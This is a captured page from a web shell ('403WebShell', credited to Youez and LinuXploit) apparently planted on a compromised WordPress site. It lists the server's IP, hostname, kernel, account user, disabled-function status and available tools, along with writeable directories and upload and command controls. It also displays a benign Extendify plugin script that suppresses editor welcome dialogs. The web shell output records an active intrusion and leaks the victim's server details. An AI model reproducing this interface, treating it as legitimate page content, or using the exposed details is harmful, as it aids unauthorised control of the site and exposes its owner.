Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.222.118.236
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/cynthiaadediran.com/wp-content/plugins/extendify/src/Shared/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/cynthiaadediran.com/wp-content/plugins/extendify/src/Shared/shared.js
import { subscribe } from '@wordpress/data';
import { preFetchImages as preFetchUnsplashImages } from '@shared/lib/unsplash';
import '@draft/app.css';

const isOnLaunch = () => {
	const query = new URLSearchParams(window.location.search);
	return query.get('page') === 'extendify-launch';
};

(() => {
	// Disable the page editor welcome guide always (they can manually open it)
	const key = `WP_PREFERENCES_USER_${window.extSharedData.userId}`;
	const existing = window.localStorage.getItem(key) || '{}';

	window.localStorage.setItem(
		key,
		JSON.stringify({
			...JSON.parse(existing),
			'core/edit-post': {
				...(JSON.parse(existing)?.['core/edit-post'] ?? {}),
				welcomeGuide: false,
			},
		}),
	);

	if (isOnLaunch()) return;

	preFetchUnsplashImages();

	// TODO: If this PR is released in WP (6.7?), then we can use the localstorage
	// approach that we use above for the welcome guide
	// https://github.com/WordPress/gutenberg/pull/65026

	// If the pattern modal shows up within 3 seconds, close it
	const modalClass = '.editor-start-page-options__modal-content';
	const modalCloseButton = '.components-modal__header > .components-button';

	// Add CSS to hide the modal initially (avoid content paint flash)
	const style = document.createElement('style');
	style.innerHTML =
		'.components-modal__screen-overlay { display: none!important }';
	document.head.appendChild(style);

	const unsub = subscribe(() => {
		const modal = document.querySelector(modalClass);
		if (!modal) return;
		modal.style.display = ''; // Temp show to click it
		document.querySelector(modalCloseButton)?.click();
	});

	setTimeout(() => {
		// Remove the CSS rule always
		document.head.removeChild(style);
		unsub();
	}, 3000);
})();

Youez - 2016 - github.com/yon3zu
LinuXploit